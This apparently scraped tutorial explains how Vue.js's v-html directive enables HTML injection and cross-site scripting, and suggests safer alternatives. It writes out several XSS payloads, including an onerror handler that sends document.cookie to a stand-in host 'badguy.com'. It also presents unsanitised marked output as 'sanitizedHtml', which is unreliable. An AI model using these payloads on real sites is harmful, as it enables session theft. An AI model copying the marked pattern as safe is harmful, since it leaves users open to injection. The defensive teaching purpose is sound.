Vue.js and HTML Injection Explained in Simple Terms
Do you use v-html in your Vue.js apps? If you do, you might be in danger of HTML injection attacks. In this article, we'll show you:
Let's get started!
How Does v-html Put You at Risk of HTML Injection?
In Vue.js, v-html lets you display a string that contains HTML tags, and it will turn those tags into real HTML elements on the page.
<script setup>
import { ref } from 'vue';
const html = ref('<strong>Hello</strong> world');
</script>
<template>
<p v-html="html"></p>
</template>
This is different from using double curly braces {{ }}. When you use {{ }}, Vue will show the HTML tags as plain text, not as real HTML elements.
<script setup>
import { ref } from 'vue';
const html = ref('<strong>Hello</strong> world');
</script>
<template>
<p>{{ html }}</p>
</template>
Output:
<p><strong>Hello</strong> world</p>
Because v-html can display any HTML tags, it means someone could put bad stuff into your site.
Attackers Can Mess Up Your Site with HTML Injection
For example, a bad person could change the style of your page by adding a <style> tag:
<script setup>
import { ref } from 'vue';
const html = ref('<style>body { background: green !important; }</style>');
</script>
<template>
<div v-html="html"></div>
</template>
This would make your website's background turn green.
They could also put lots of unwanted images on your page:
<script setup>
import { ref } from 'vue';
const html = ref('<style>body { background: url("https://example.com/unwanted-image.jpg") repeat; }</style>');
</script>
<template>
<div v-html="html"></div>
</template>
Attackers Could Inject Bad Scripts (Cross-Site Scripting or XSS)
Making your site look bad is one thing, but attackers can do worse. They might inject scripts that:
This is called Cross-Site Scripting (XSS).
Example: Injecting Scripts with Event Handlers
Even if you can't put <script> tags directly, attackers can still run scripts using things like onerror in an image:
<script setup>
import { ref } from 'vue';
const html = ref(`
<img
src="non-existent.jpg"
onerror="alert('XSS Attack!');"
style="display: none;"
/>
`);
</script>
<template>
<div v-html="html"></div>
</template>
When the image fails to load, the onerror runs the alert.
Example: Using JavaScript in Links
Attackers can use javascript: in links:
<script setup>
import { ref } from 'vue';
const html = ref('<a href="javascript:alert(\'XSS via JavaScript URI\');">Click me</a>');
</script>
<template>
<div v-html="html"></div>
</template>
If someone clicks the link, the script runs.
Example: Injecting Bad CSS
Sometimes, CSS can run scripts too:
<script setup>
import { ref } from 'vue';
const html = ref('<div style="background-image: url(\'javascript:alert("XSS via CSS")\')">Hover over me</div>');
</script>
<template>
<div v-html="html"></div>
</template>
Even though browsers try to stop this, it's risky to rely on that.
Examples of When NOT to Use v-html
Now, let's look at times when you might think about using v-html, but you shouldn't.
Saving HTML Comments from Users
Imagine you're making a social media site, and you want users to write comments with bold text, italics, etc. You might think to use a text editor that outputs HTML, save that HTML, and then display it using v-html:
<script setup>
import { ref } from 'vue';
const userComment = ref('<p>This is a <strong>great</strong> post!</p>');
</script>
<template>
<div v-html="userComment"></div>
</template>
Why is this bad?
A bad user could submit something like:
<img src="x" onerror="alert('XSS Attack!');" />
When you display this with v-html, it will run the alert.
Example: Bad Comment Injection
<script setup>
import { ref } from 'vue';
const userComment = ref('<img src="x" onerror="fetch(\'https://badguy.com/steal?cookie=\' + document.cookie);" />');
</script>
<template>
<div v-html="userComment"></div>
</template>
This could send the user's cookies to the bad guy.
Using HTML from URL Parameters
Suppose you're making a landing page that changes based on the URL parameters:
<template>
<div v-html="$route.query.heroCopy"></div>
</template>
An attacker could make a URL like:
https://your-site.com?heroCopy=<img src=x onerror=alert('XSS')>
If someone clicks this link, the script runs.
Alternative Ways Instead of Using v-html
So, how can you get similar features without using v-html and risking attacks?
Use Text Interpolation ({{ }})
If you don't need to show HTML tags, use {{ }}:
<template>
<p>{{ userComment }}</p>
</template>
This will show the HTML tags as plain text.
Clean User Input on the Server
If you have to display user-provided HTML, make sure to clean it on the server before saving or showing it.
Example: Using sanitize-html in Node.js
const sanitizeHtml = require('sanitize-html');
function sanitizeUserComment(comment) {
return sanitizeHtml(comment, {
allowedTags: ['b', 'i', 'em', 'strong', 'a', 'p'],
allowedAttributes: {
'a': ['href']
}
});
}
Use Markdown
Let users write in Markdown, which you can convert to HTML safely.
Example: Rendering Markdown with marked
<script setup>
import { ref } from 'vue';
import { marked } from 'marked';
const userCommentMarkdown = ref('**Bold Text** and _Italic Text_');
const sanitizedHtml = marked.parse(userCommentMarkdown.value);
</script>
<template>
<div v-html="sanitizedHtml"></div>
</template>
Use Editors That Output Safe Formats
Some text editors output data in formats like JSON, which you can render safely.
Example: Using TipTap Editor
TipTap can give you content in a JSON format:
{
"type": "doc",
"content": [
{
"type": "paragraph",
"content": [
{
"type": "text",
"text": "Hello World"
}
]
}
]
}
You can then render this without risking HTML injection.
Don't Render HTML from URL Parameters
Instead of accepting raw HTML, accept plain text:
<template>
<h1>{{ $route.query.headline }}</h1>
<h2>{{ $route.query.subheadline }}</h2>
</template>
When Is It Okay to Use v-html?
There are times when using v-html is safe.
Trusted Content Sources
If the HTML comes from a source you trust, like an admin, it's okay.
Example: Admin Content
<script setup>
import { ref } from 'vue';
const adminContent = ref('<h2>Welcome to the Admin Dashboard</h2><p>You can manage the site here.</p>');
</script>
<template>
<div v-html="adminContent"></div>
</template>
Cleaned Content
If you have cleaned the content before showing it:
<script setup>
import { ref } from 'vue';
const sanitizedContent = ref(fetchSanitizedContentFromServer());
</script>
<template>
<div v-html="sanitizedContent"></div>
</template>
Rendering Static HTML
When you need to show some static HTML that's part of your app:
<script setup>
import { ref } from 'vue';
const staticHtml = ref('<ul><li>Item One</li><li>Item Two</li></ul>');
</script>
<template>
<div v-html="staticHtml"></div>
</template>
Conclusion
While v-html can be useful, it can also be dangerous if not used carefully. Before using it:
By being careful, you can keep your apps safe from HTML injection attacks.